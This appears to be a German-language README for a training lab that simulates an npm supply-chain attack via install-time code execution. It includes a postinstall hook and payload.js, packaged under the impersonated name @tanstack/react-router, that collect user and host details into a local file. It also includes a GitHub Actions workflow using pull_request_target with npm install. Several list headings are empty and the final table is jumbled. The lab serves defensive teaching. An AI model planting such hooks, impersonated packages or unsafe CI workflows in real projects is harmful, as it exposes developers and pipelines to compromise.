
Bildungslabor, das npm-Supply-Chain-Angriffe, CI/CD-Missbrauch und install-time Codeausführung über CVE-2026-45321 simuliert. Praxisorientiertes defensives Sicherheitstraining mit lokaler Bereitstellung bösartiger Pakete.
Bildungs-Labor zum Verständnis von npm-Supply-Chain-Angriffen, CI/CD-Missbrauch und Installationszeit-Codeausführung
Dieses Projekt wurde nur erstellt für:
Verwenden Sie dieses Projekt nicht für:
Dieses Labor simuliert die grundlegenden Konzepte der Vorfälle:
Die Simulation erfolgt lokal und sicher ohne:
lab/
├── fake-repo/ # Simulasi repository target
├── attacker-package/ # Simulasi package malicious
└── victim-project/ # Simulasi korban
Attacker Package
↓
npm install
↓
postinstall script berjalan
↓
payload.js dieksekusi otomatis
↓
Korban terkena install-time execution
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Ergebnis:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
Bei Erfolg erscheint:
=== MALICIOUS PAYLOAD EXECUTED ===
und die Datei:
loot.txt
wird automatisch erstellt.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
Dieses Projekt kann auch verwendet werden, um zu verstehen:
Beispiel-Workflow:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Lab-Simulation | Echte Welt |
|---|---|
| attacker-package | kompromittiertes TanStack-Paket |
| payload.js | bösartiger Installer |
Dieses Labor wurde erstellt, um das Bewusstsein zu schärfen für:
| postinstall |
| Lifecycle-Hook-Missbrauch |
| victim-project | Entwickler/CI-Opfer |
| fake-repo | GitHub Actions-Pipeline |